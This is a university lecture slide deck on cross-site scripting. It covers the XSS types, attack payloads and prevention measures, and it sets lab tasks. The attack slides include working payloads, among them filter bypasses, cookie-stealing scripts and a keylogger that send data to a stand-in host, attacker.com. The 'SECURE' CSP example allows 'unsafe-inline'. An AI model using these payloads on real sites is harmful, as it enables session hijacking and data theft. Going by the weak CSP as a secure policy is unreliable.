← Back to Module

WEB-XSS-01

Cross-Site Scripting

CMU540: Cyber Security - Session 5

Birmingham Newman University

Lecturer: James Williams

Understanding XSS vulnerabilities and client-side security

3-hour session • 30 slides • 2 interactive tasks

Session Timeline:

  • 10 min: Registration & waiting
  • 20 min: Opening slides
  • 45 min: Task 1
  • 15 min: Break/Catch up
  • 20 min: Secondary slides
  • 45 min: Task 2
  • Remaining: Self-study

Learning Objectives

  • Understand OWASP A03: Cross-Site Scripting (XSS)
  • Identify different types of XSS vulnerabilities
  • Learn client-side security best practices
  • Practice vulnerability discovery using OS³ Studio
  • Implement secure XSS prevention measures
  • Explore career opportunities in web security

OWASP A03: Cross-Site Scripting (XSS)

Definition: XSS occurs when malicious scripts are injected into web applications and executed in users' browsers.

Types of XSS:

  • Reflected XSS (Non-persistent)
  • Stored XSS (Persistent)
  • DOM-based XSS
  • Blind XSS

Real-World Impact

Notable XSS Attacks:

  • Samy Worm (2005): MySpace XSS worm infected 1 million users
  • PayPal (2010): Stored XSS in payment pages
  • Facebook (2011): XSS vulnerability exposed user data

Impact: Session hijacking, data theft, malware distribution, phishing

Reflected XSS (Non-Persistent)

Attack Scenario:

<!-- VULNERABLE: Reflected XSS -->
<div>Search results for: <?php echo $_GET['q']; ?></div>

<!-- Malicious URL -->
https://example.com/search?q=<script>alert('XSS')</script>

<!-- Result -->
<div>Search results for: <script>alert('XSS')</script></div>

Characteristics: Script is reflected immediately, not stored

Stored XSS (Persistent)

Attack Scenario:

<!-- VULNERABLE: Stored XSS -->
<div class="comment"><?php echo $comment['text']; ?></div>

<!-- Malicious comment -->
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

<!-- Result: Executed for every visitor -->
<div class="comment"><script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script></div>

Characteristics: Script is stored and executed for all visitors

DOM-based XSS

Attack Scenario:

<!-- VULNERABLE: DOM-based XSS -->
<script>
  var hash = location.hash.substring(1);
  document.getElementById('content').innerHTML = hash;
</script>

<!-- Malicious URL -->
https://example.com/page#<img src=x onerror=alert('XSS')>

<!-- Result: Script executed via DOM manipulation -->

Characteristics: Vulnerability exists in client-side JavaScript

Blind XSS

Attack Scenario:

<!-- VULNERABLE: Blind XSS -->
<!-- Admin panel logs user input -->
<div class="log-entry"><?php echo $log['user_input']; ?></div>

<!-- Malicious payload in user profile -->
<script>fetch('http://attacker.com/steal?data='+document.body.innerHTML)</script>

<!-- Result: Executed when admin views logs -->

Characteristics: Script executes in a different context (admin panel)

Common XSS Attack Vectors

1. Basic Script Injection

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')></svg>
<iframe src="javascript:alert('XSS')"></iframe>

2. Event Handlers

<div onmouseover="alert('XSS')">Hover me</div>
<input onfocus="alert('XSS')">
<body onload="alert('XSS')">

Advanced XSS Techniques

1. Bypassing Filters

<!-- Case variation -->
<ScRiPt>alert('XSS')</ScRiPt>

<!-- Encoding -->
<script>alert(String.fromCharCode(88,83,83))</script>

<!-- Alternative syntax -->
<script>alert`XSS`</script>

2. Context-Aware Payloads

<!-- Inside HTML attribute -->
<input value=""><script>alert('XSS')</script>">

<!-- Inside JavaScript -->
<script>var name = '</script><script>alert('XSS')</script>';</script>

XSS Attack Impact

1. Session Hijacking

<script>
  var img = new Image();
  img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>

2. Keylogger

<script>
  document.addEventListener('keypress', function(e) {
    fetch('http://attacker.com/log?key=' + e.key);
  });
</script>

Career Opportunities in Web Security

Web Security Roles:

  • Web Application Security Engineer: £45,000 - £90,000
  • Frontend Security Specialist: £40,000 - £80,000
  • Penetration Tester: £35,000 - £70,000
  • Security Consultant: £50,000 - £100,000
  • Bug Bounty Hunter: £30,000 - £150,000+

Skills Needed: JavaScript, HTML/CSS, Web security, Penetration testing

Industry Certifications

Web Security Certifications:

  • OSWE: Offensive Security Web Expert
  • GWAPT: GIAC Web Application Penetration Tester
  • CEH: Certified Ethical Hacker
  • OSCP: Offensive Security Certified Professional
  • CISSP: Certified Information Systems Security Professional

Resources: Offensive Security | GIAC

OS³ Newman Cyber Security Lab

WEB-XSS-01 Lab Environment

Our OS³ Studio provides hands-on experience with:

  • Vulnerable web applications with XSS flaws
  • Real-world attack scenarios and techniques
  • Secure implementation challenges
  • Client-side security best practices

Access: Available through university portal

Practical Examples

Watch: XSS Vulnerabilities Explained

Understanding real-world XSS vulnerabilities and attack techniques

Web Demos and Tools

XSS Testing Tools:

Case Study: Samy Worm

MySpace XSS Worm (2005)

  • Impact: 1 million users infected in 20 hours
  • Method: Stored XSS in user profile
  • Payload: JavaScript worm that self-replicated
  • Result: MySpace temporarily shut down

Lesson: XSS can be used to create self-propagating malware

Summary: Common XSS Vulnerabilities

Key Vulnerabilities to Look For:

  1. Unescaped user input in HTML output
  2. Dynamic content without proper encoding
  3. JavaScript execution from user input
  4. Missing Content Security Policy
  5. Insufficient input validation
  6. DOM manipulation vulnerabilities
  7. Event handler injection

Task 1: XSS Vulnerability Discovery

Objective:

Use OS³ Studio to identify XSS vulnerabilities in the WEB-XSS-01 lab environment.

Instructions:

  1. Access the OS³ Studio vulnerable application
  2. Test for reflected XSS vulnerabilities
  3. Look for stored XSS opportunities
  4. Test for DOM-based XSS
  5. Try blind XSS techniques
  6. Attempt filter bypass methods
  7. Document all findings with proof of concept
  8. Prepare a vulnerability assessment report

Time: 45 minutes

Focus on systematic testing and thorough documentation

Break Time

15 Minutes

Take a break, ask questions, or catch up on the previous task.

Next: Secure implementation and Task 2

Secure XSS Prevention

1. Output Encoding

<!-- SECURE: HTML encoding -->
<?php echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); ?>

<!-- SECURE: JavaScript encoding -->
<script>
  var userData = <?php echo json_encode($user_input); ?>;
</script>

<!-- SECURE: URL encoding -->
<a href="profile.php?id=<?php echo urlencode($user_id); ?>">Profile</a>

2. Input Validation

<!-- SECURE: Input validation -->
function validateInput(input) {
  if (typeof input !== 'string') return false;
  if (input.length > 1000) return false;
  // Allow only alphanumeric and safe characters
  return /^[a-zA-Z0-9\s.,!?-]+$/.test(input);
}

Content Security Policy (CSP)

1. CSP Implementation

<!-- SECURE: CSP header -->
Content-Security-Policy: default-src 'self';
  script-src 'self' 'unsafe-inline';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self'

2. CSP Nonce Implementation

<!-- SECURE: CSP with nonce -->
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-'">
<script nonce="<?php echo $nonce; ?>">
  // Only scripts with matching nonce execute
</script>

Secure JavaScript Practices

1. Safe DOM Manipulation

<!-- SECURE: Safe DOM manipulation -->
// Good: Use textContent instead of innerHTML
element.textContent = userInput;

// Good: Use createElement and appendChild
var div = document.createElement('div');
div.textContent = userInput;
parentElement.appendChild(div);

// Bad: innerHTML allows script execution
element.innerHTML = userInput;

2. Safe Event Handling

<!-- SECURE: Event delegation -->
document.addEventListener('click', function(e) {
  if (e.target.matches('.safe-button')) {
    handleClick(e.target);
  }
});

HTTP Security Headers

1. XSS Protection Headers

<!-- SECURE: XSS protection headers -->
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()

2. Implementation

<!-- SECURE: Express.js headers -->
app.use((req, res, next) => {
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
  next();
});

Template Security

1. Safe Template Engines

<!-- SECURE: Handlebars auto-escaping -->
<div>{{userInput}}</div> <!-- Auto-escaped -->
<div>{{{userInput}}}</div> <!-- Raw HTML (dangerous) -->

<!-- SECURE: Jinja2 auto-escaping -->
<div>{{ user_input }}</div> <!-- Auto-escaped -->
<div>{{ user_input|safe }}</div> <!-- Raw HTML (dangerous) -->

2. Template Context

  • Always use auto-escaping templates
  • Avoid raw HTML output
  • Validate template data
  • Use template sandboxing

Client-Side Security

1. Safe Data Handling

<!-- SECURE: Safe data handling -->
// Good: Validate data on client and server
function displayUserData(data) {
  if (!isValidUserData(data)) return;
  document.getElementById('user-info').textContent = data.name;
}

// Bad: Direct DOM manipulation
document.getElementById('user-info').innerHTML = data.name;

2. Safe API Integration

<!-- SECURE: Safe API calls -->
fetch('/api/user-data')
  .then(response => response.json())
  .then(data => {
    if (validateApiData(data)) {
      displayData(data);
    }
  })
  .catch(error => console.error('API Error:', error));

Testing and Validation

1. Automated XSS Testing

<!-- Security testing tools -->
npm install --save-dev eslint-plugin-security
npm install --save-dev xss

// Run security audit
npm audit
eslint --ext .js --plugin security .

2. Manual Testing Checklist

  • Test all user input fields
  • Try various XSS payloads
  • Test different contexts (HTML, JS, CSS)
  • Verify CSP implementation
  • Check security headers

Career Development in Web Security

Next Steps:

  • Advanced Certifications: OSWE, GWAPT, OSCP
  • Specialized Training: Frontend security, JavaScript security
  • Hands-on Practice: CTF competitions, bug bounties
  • Industry Networking: Security conferences, meetups
  • Research: New attack techniques, defense methods

Resources: OWASP | PortSwigger | XSS Game

Task 2: Secure XSS Prevention Implementation

Objective:

Use OS³ Studio to implement secure XSS prevention measures and fix the vulnerabilities found in Task 1.

Instructions:

  1. Access the OS³ Studio secure implementation environment
  2. Implement proper output encoding for all user data
  3. Add Content Security Policy headers
  4. Configure HTTP security headers
  5. Replace unsafe DOM manipulation with safe methods
  6. Implement input validation and sanitization
  7. Test the secure implementation
  8. Document the security improvements

Time: 45 minutes

Focus on implementing industry-standard XSS prevention

Further Activity: Code Inspection

Advanced Students - Code Analysis:

For students with additional time, explore the source code to understand:

  • How user input is processed and displayed
  • Template engine configuration and escaping
  • JavaScript security practices
  • HTTP security header implementation
  • CSP policy configuration

Deliverable: Code review report with XSS prevention recommendations

Session Summary

Key Takeaways:

  • XSS is a critical client-side security vulnerability
  • Multiple XSS types exist (reflected, stored, DOM-based, blind)
  • Output encoding and CSP are primary defenses
  • OS³ Studio provides hands-on vulnerability testing
  • Secure implementation requires multiple layers of protection
  • Career opportunities in web security are growing

Next Steps

Continue Learning:

  • Complete the OS³ Studio tasks
  • Explore additional XSS techniques
  • Practice with security testing tools
  • Consider industry certifications
  • Join cybersecurity communities

Next Session: WEB-CSRF-01 & WEB-CONFIG-01 - CSRF and Misconfiguration